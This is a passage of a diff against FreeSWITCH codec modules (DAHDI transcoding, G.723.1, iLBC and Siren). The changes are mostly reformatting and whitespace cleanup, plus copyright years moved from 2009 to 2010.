uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
|
||||
unsigned int *flag)
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
int32_t res;
|
||||
short *dbuf_linear;
|
||||
unsigned char *ebuf_g729;
|
||||
unsigned char ebuf_ulaw[decoded_data_len/2];
|
||||
unsigned char ebuf_ulaw[decoded_data_len / 2];
|
||||
uint32_t i;
|
||||
struct dahdi_context *context = NULL;
|
||||
switch_status_t status;
|
||||
@@ -290,7 +281,8 @@ static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
if (i != res) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i, transcoder_name, res);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i,
|
||||
transcoder_name, res);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
res = wait_for_transcoder(context->encoding_fd);
|
||||
@@ -333,7 +325,7 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
|
||||
int32_t res;
|
||||
short *dbuf_linear;
|
||||
// we only can decode up to half ulaw bytes of whatever their destiny linear buffer is
|
||||
unsigned char dbuf_ulaw[*decoded_data_len/2];
|
||||
unsigned char dbuf_ulaw[*decoded_data_len / 2];
|
||||
unsigned char *ebuf_g729;
|
||||
uint32_t i;
|
||||
struct dahdi_context *context;
|
||||
@@ -360,7 +352,7 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI decode in silence returned %d bytes.\n", *decoded_data_len);
|
||||
#endif
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
#ifdef DEBUG_DAHDI_CODEC
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Writing %d bytes to decode.\n", encoded_data_len);
|
||||
#endif
|
||||
@@ -370,12 +362,12 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
if (encoded_data_len != res) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n", encoded_data_len, transcoder_name, res);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n",
|
||||
encoded_data_len, transcoder_name, res);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
#ifdef DEBUG_DAHDI_CODEC
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n",
|
||||
sizeof(dbuf_ulaw));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n", sizeof(dbuf_ulaw));
|
||||
#endif
|
||||
res = wait_for_transcoder(context->decoding_fd);
|
||||
if (-1 == res) {
|
||||
@@ -386,7 +378,8 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
|
||||
memset(dbuf_linear, 0, codec->implementation->decoded_bytes_per_packet);
|
||||
*decoded_data_len = codec->implementation->decoded_bytes_per_packet;
|
||||
#ifdef DEBUG_DAHDI_CODEC
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name, *decoded_data_len);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name,
|
||||
*decoded_data_len);
|
||||
#endif
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -437,10 +430,8 @@ SWITCH_STANDARD_API(dahdi_transcode_usage)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
switch_mutex_lock(transcoder_counter_mutex);
|
||||
stream->write_function(stream, "Using %d encoders of a total of %d available.\n",
|
||||
total_encoders_usage, total_encoders);
|
||||
stream->write_function(stream, "Using %d decoders of a total of %d available.\n",
|
||||
total_decoders_usage, total_decoders);
|
||||
stream->write_function(stream, "Using %d encoders of a total of %d available.\n", total_encoders_usage, total_encoders);
|
||||
stream->write_function(stream, "Using %d decoders of a total of %d available.\n", total_decoders_usage, total_decoders);
|
||||
switch_mutex_unlock(transcoder_counter_mutex);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -452,10 +443,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
|
||||
struct stat statbuf;
|
||||
struct dahdi_transcoder_info info = { 0 };
|
||||
int32_t fd, res;
|
||||
int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
|
||||
int spf = 160;
|
||||
int bpfd = 320;
|
||||
int bpfc = 20;
|
||||
int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
|
||||
int spf = 160;
|
||||
int bpfd = 320;
|
||||
int bpfc = 20;
|
||||
int fpnp = 20;
|
||||
|
||||
total_encoders = 0;
|
||||
@@ -479,8 +470,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
|
||||
|
||||
fd = open(transcoding_device, O_RDWR);
|
||||
if (fd < 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n",
|
||||
transcoder_name, strerror(errno));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
@@ -491,14 +481,13 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
|
||||
continue;
|
||||
}
|
||||
if ((info.dstfmts & DAHDI_FORMAT_ULAW) && (info.srcfmts & (DAHDI_FORMAT_G729A | DAHDI_FORMAT_G723_1))) {
|
||||
total_decoders += info.numchannels;
|
||||
total_decoders += info.numchannels;
|
||||
continue;
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
|
||||
"Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
|
||||
}
|
||||
close(fd);
|
||||
|
||||
|
||||
if (!total_encoders && !total_decoders) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No DAHDI transcoders found.\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
@@ -510,79 +499,73 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
|
||||
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
18, /* the IANA code number */
|
||||
"G729", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
mpf, /* number of microseconds per frame */
|
||||
spf, /* number of samples per frame */
|
||||
bpfd, /* number of bytes per frame decompressed */
|
||||
bpfc, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
fpnp, /* number of frames per network packet */
|
||||
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_dahdi_encode, /* function to encode raw data into encoded data */
|
||||
switch_dahdi_decode, /* function to decode encoded data into raw data */
|
||||
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
|
||||
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
|
||||
|
||||
mpf = 30000;
|
||||
spf = 240;
|
||||
bpfd = 480;
|
||||
bpfc = 30;
|
||||
fpnp = 30;
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
18, /* the IANA code number */
|
||||
"G729", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
mpf, /* number of microseconds per frame */
|
||||
spf, /* number of samples per frame */
|
||||
bpfd, /* number of bytes per frame decompressed */
|
||||
bpfc, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
fpnp, /* number of frames per network packet */
|
||||
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_dahdi_encode, /* function to encode raw data into encoded data */
|
||||
switch_dahdi_decode, /* function to decode encoded data into raw data */
|
||||
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
18, /* the IANA code number */
|
||||
"G729", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
mpf, /* number of microseconds per frame */
|
||||
spf, /* number of samples per frame */
|
||||
bpfd, /* number of bytes per frame decompressed */
|
||||
bpfc, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
fpnp, /* number of frames per network packet */
|
||||
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_dahdi_encode, /* function to encode raw data into encoded data */
|
||||
switch_dahdi_decode, /* function to decode encoded data into raw data */
|
||||
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
|
||||
mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
|
||||
mpf = 30000;
|
||||
spf = 240;
|
||||
bpfd = 480;
|
||||
bpfc = 30;
|
||||
fpnp = 30;
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
18, /* the IANA code number */
|
||||
"G729", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
mpf, /* number of microseconds per frame */
|
||||
spf, /* number of samples per frame */
|
||||
bpfd, /* number of bytes per frame decompressed */
|
||||
bpfc, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
fpnp, /* number of frames per network packet */
|
||||
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_dahdi_encode, /* function to encode raw data into encoded data */
|
||||
switch_dahdi_decode, /* function to decode encoded data into raw data */
|
||||
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
|
||||
mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
|
||||
spf = 240;
|
||||
bpfd = 480;
|
||||
bpfc = 20;
|
||||
fpnp = 10;
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
4, /* the IANA code number */
|
||||
"G723", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
mpf, /* number of microseconds per frame */
|
||||
spf, /* number of samples per frame */
|
||||
bpfd, /* number of bytes per frame decompressed */
|
||||
bpfc, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
fpnp, /* number of frames per network packet */
|
||||
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_dahdi_encode, /* function to encode raw data into encoded data */
|
||||
switch_dahdi_decode, /* function to decode encoded data into raw data */
|
||||
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
4, /* the IANA code number */
|
||||
"G723", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
mpf, /* number of microseconds per frame */
|
||||
spf, /* number of samples per frame */
|
||||
bpfd, /* number of bytes per frame decompressed */
|
||||
bpfc, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
fpnp, /* number of frames per network packet */
|
||||
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_dahdi_encode, /* function to encode raw data into encoded data */
|
||||
switch_dahdi_decode, /* function to decode encoded data into raw data */
|
||||
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
SWITCH_ADD_API(api_interface, "dahdi_transcode", "DAHDI Transcode", dahdi_transcode_usage, NULL);
|
||||
switch_console_set_complete("add dahdi_transcode");
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -171,8 +171,8 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_g723_1_load)
|
||||
{
|
||||
switch_codec_interface_t *codec_interface;
|
||||
int ompf = 30000, ospf = 240, obpf = 480, oebpf = 24, count = 0;
|
||||
int mpf = ompf , spf = ospf , bpf = obpf , ebpf = oebpf ;
|
||||
|
||||
int mpf = ompf, spf = ospf, bpf = obpf, ebpf = oebpf;
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.723.1 6.3k");
|
||||
@@ -180,8 +180,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_g723_1_load)
|
||||
for (count = 0; count < 4; count++) {
|
||||
switch_core_codec_add_implementation(pool, codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, 4, "G723", NULL, 8000, 8000, 6300,
|
||||
mpf , spf , bpf , ebpf , 1, count,
|
||||
switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
|
||||
mpf, spf, bpf, ebpf, 1, count, switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
|
||||
mpf += ompf;
|
||||
spf += ospf;
|
||||
bpf += obpf;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -46,10 +46,10 @@ static switch_status_t switch_ilbc_init(switch_codec_t *codec, switch_codec_flag
|
||||
int encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
|
||||
int decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
|
||||
int mode = codec->implementation->microseconds_per_packet / 1000;
|
||||
|
||||
|
||||
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (codec->fmtp_in) {
|
||||
int x, argc;
|
||||
@@ -70,9 +70,9 @@ static switch_status_t switch_ilbc_init(switch_codec_t *codec, switch_codec_flag
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "mode=%d", mode);
|
||||
|
||||
|
||||
if (encoding) {
|
||||
ilbc_encode_init(&context->encoder_object, mode);
|
||||
}
|
||||
@@ -80,7 +80,7 @@ static switch_status_t switch_ilbc_init(switch_codec_t *codec, switch_codec_flag
|
||||
if (decoding) {
|
||||
ilbc_decode_init(&context->decoder_object, mode, 0);
|
||||
}
|
||||
|
||||
|
||||
codec->private_info = context;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -122,7 +122,7 @@ static switch_status_t switch_ilbc_decode(switch_codec_t *codec,
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
*decoded_data_len = (2 *ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
|
||||
*decoded_data_len = (2 * ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -137,45 +137,41 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_ilbc_load)
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "iLBC");
|
||||
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
98, /* the IANA code number */
|
||||
"iLBC", /* the IANA code name */
|
||||
"mode=20", /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
15200, /* bits transferred per second */
|
||||
20000, /* number of microseconds per frame */
|
||||
ILBC_BLOCK_LEN_20MS, /* number of samples per frame */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
98, /* the IANA code number */
|
||||
"iLBC", /* the IANA code name */
|
||||
"mode=20", /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
15200, /* bits transferred per second */
|
||||
20000, /* number of microseconds per frame */
|
||||
ILBC_BLOCK_LEN_20MS, /* number of samples per frame */
|
||||
ILBC_BLOCK_LEN_20MS * 2, /* number of bytes per frame decompressed */
|
||||
ILBC_NO_OF_BYTES_20MS, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_ilbc_encode, /* function to encode raw data into encoded data */
|
||||
switch_ilbc_decode, /* function to decode encoded data into raw data */
|
||||
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
|
||||
ILBC_NO_OF_BYTES_20MS, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_ilbc_encode, /* function to encode raw data into encoded data */
|
||||
switch_ilbc_decode, /* function to decode encoded data into raw data */
|
||||
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
97, /* the IANA code number */
|
||||
"iLBC", /* the IANA code name */
|
||||
"mode=30", /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
13300, /* bits transferred per second */
|
||||
30000, /* number of microseconds per frame */
|
||||
ILBC_BLOCK_LEN_30MS, /* number of samples per frame */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
97, /* the IANA code number */
|
||||
"iLBC", /* the IANA code name */
|
||||
"mode=30", /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
13300, /* bits transferred per second */
|
||||
30000, /* number of microseconds per frame */
|
||||
ILBC_BLOCK_LEN_30MS, /* number of samples per frame */
|
||||
ILBC_BLOCK_LEN_30MS * 2, /* number of bytes per frame decompressed */
|
||||
ILBC_NO_OF_BYTES_30MS, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_ilbc_encode, /* function to encode raw data into encoded data */
|
||||
switch_ilbc_decode, /* function to decode encoded data into raw data */
|
||||
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
|
||||
ILBC_NO_OF_BYTES_30MS, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_ilbc_encode, /* function to encode raw data into encoded data */
|
||||
switch_ilbc_decode, /* function to decode encoded data into raw data */
|
||||
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -56,7 +56,7 @@ static switch_status_t switch_siren_init(switch_codec_t *codec, switch_codec_fla
|
||||
|
||||
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (codec->fmtp_in) {
|
||||
int x, argc;
|
||||
@@ -77,9 +77,9 @@ static switch_status_t switch_siren_init(switch_codec_t *codec, switch_codec_fla
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
|
||||
|
||||
|
||||
if (encoding) {
|
||||
g722_1_encode_init(&context->encoder_object, bit_rate, codec->implementation->samples_per_second);
|
||||
}
|
||||
@@ -87,7 +87,7 @@ static switch_status_t switch_siren_init(switch_codec_t *codec, switch_codec_fla
|
||||
if (decoding) {
|
||||
g722_1_decode_init(&context->decoder_object, bit_rate, codec->implementation->samples_per_second);
|
||||
}
|
||||
|
||||
|
||||
codec->private_info = context;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -99,11 +99,11 @@ static switch_status_t switch_siren_destroy(switch_codec_t *codec)
|
||||
}
|
||||
|
||||
static switch_status_t switch_siren_encode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
|
||||
unsigned int *flag)
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
struct siren_context *context = codec->private_info;
|
||||
|
||||
@@ -116,14 +116,14 @@ static switch_status_t switch_siren_encode(switch_codec_t *codec,
|
||||
}
|
||||
|
||||
static switch_status_t switch_siren_decode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *encoded_data,
|
||||
uint32_t encoded_data_len,
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
|
||||
unsigned int *flag)
|
||||
switch_codec_t *other_codec,
|
||||
void *encoded_data,
|
||||
uint32_t encoded_data_len,
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
struct siren_context *context = codec->private_info;
|
||||
|
||||
|
||||
if (!context) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
@@ -148,47 +148,43 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_siren_load)
|
||||
|
||||
spf = 320, bpf = 640;
|
||||
for (count = 3; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
107, /* the IANA code number */
|
||||
"G7221", /* the IANA code name */
|
||||
"bitrate=32000", /* default fmtp to send (can be overridden by the init function) */
|
||||
16000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_siren_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_siren_encode, /* function to encode raw data into encoded data */
|
||||
switch_siren_decode, /* function to decode encoded data into raw data */
|
||||
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
107, /* the IANA code number */
|
||||
"G7221", /* the IANA code name */
|
||||
"bitrate=32000", /* default fmtp to send (can be overridden by the init function) */
|
||||
16000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_siren_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_siren_encode, /* function to encode raw data into encoded data */
|
||||
switch_siren_decode, /* function to decode encoded data into raw data */
|
||||
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
spf = 640, bpf = 1280;
|
||||
for (count = 3; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
115, /* the IANA code number */
|
||||
"G7221", /* the IANA code name */
|
||||
"bitrate=48000", /* default fmtp to send (can be overridden by the init function) */
|
||||
32000, /* samples transferred per second */
|
||||
32000, /* actual samples transferred per second */
|
||||
48000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_siren_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_siren_encode, /* function to encode raw data into encoded data */
|
||||
switch_siren_decode, /* function to decode encoded data into raw data */
|
||||
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
115, /* the IANA code number */
|
||||
"G7221", /* the IANA code name */
|
||||
"bitrate=48000", /* default fmtp to send (can be overridden by the init function) */
|
||||
32000, /* samples transferred per second */
|
||||
32000, /* actual samples transferred per second */
|
||||
48000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
